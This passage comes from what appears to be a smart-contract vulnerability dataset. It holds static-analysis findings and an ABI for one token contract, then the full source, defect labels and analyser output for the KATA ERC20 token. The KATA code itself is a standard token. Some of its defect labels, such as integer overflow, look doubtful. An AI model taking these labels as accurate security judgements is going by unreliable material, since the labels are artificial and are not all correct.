} | [] | [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"RRR.sol": [373]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [88]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [224, 225, 226, 227, 228, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [112, 109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [201, 202, 203]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [209, 210, 211]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [230, 231, 232, 233, 234, 235, 236, 237]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [239, 240, 241, 242, 243, 244, 245, 246]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [256, 257, 258, 259, 260, 261, 262, 263, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [416, 417, 418, 414, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RRR.sol": [420, 421, 422]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"RRR.sol": [100, 101, 102]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"RRR.sol": [100, 101, 102]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [191]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [96]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [192]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [155]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [154]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [132]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [164]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [156]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [285]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [300]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [392]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"RRR.sol": [462]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"RRR.sol": [395]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [354]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [256, 257, 258, 259, 260, 261, 254, 255]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [354]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [256, 257, 258, 259, 260, 261, 254, 255]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [444]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [503]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [444]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [480]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [503]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [480]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [503]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [480]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [444]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"RRR.sol": [336]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [394]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"RRR.sol": [164]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"RRR.sol": [396, 397, 398, 399]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"RRR.sol": [384, 385, 386, 387, 388, 389, 390, 391]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"RRR.sol": [151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 111, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 151, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 87, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 88, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 155, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 156, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 159, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 160, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 161, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 162, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 163, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 164, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 165, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 166, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 167, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 168, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 171, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 172, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 173, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 174, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 175, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 176, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 177, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 178, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 180, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 181, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 152, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 125, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 191, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 192, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 193, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 194, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 195, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 196, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}] | [{"inputs":[{"internalType":"address payable","name":"addr1","type":"address"},{"internalType":"address payable","name":"addr2","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 00000000000000000000000094f345bd57fcb293d18f13722ae40c17207a20ae0000000000000000000000002ef8ca48e62b76e8569cc5ab1c5a0a40b428d4f1 | Default | None | false | ipfs://b64cff476029b4e4dad54826b7feabbe2850f9ef85597e540e57ed65483ada66 |
||
KATA | 0x2e85ae1c47602f7927bcabc2ff99c40aa222ae15 | Solidity | // File: /Users/tim/src/katana/katacoin-contract/contracts/KATA.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract KATA {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant _totalSupply = 50 * (10 ** 9) * (10 ** 18); // 50 Billion
string private constant _name = "Katana Inu";
string private constant _symbol = "KATA";
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(address[] memory addrs, uint256[] memory tokens) {
uint256 totalTokens = 0;
for (uint256 i = 0; i < addrs.length; i++) {
totalTokens += tokens[i];
require(addrs[i] != address(0), "addrs must contain valid addresses");
_balances[addrs[i]] = tokens[i];
emit Transfer(address(0), addrs[i], tokens[i]);
}
require(totalTokens == _totalSupply, "total tokens must be totalSupply");
}
/**
* @dev Returns the name of the token.
*/
function name() public pure returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public pure returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["69"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["70", "257", "255"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [85, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [124, 125, 126]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [112, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [144, 145, 146]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"KATA.sol": [117, 118, 119]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"KATA.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KATA.sol": [41]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KATA.sol": [42]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"KATA.sol": [39]}}] | [] | [{"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 69, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 69, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 37, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}] | [{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | 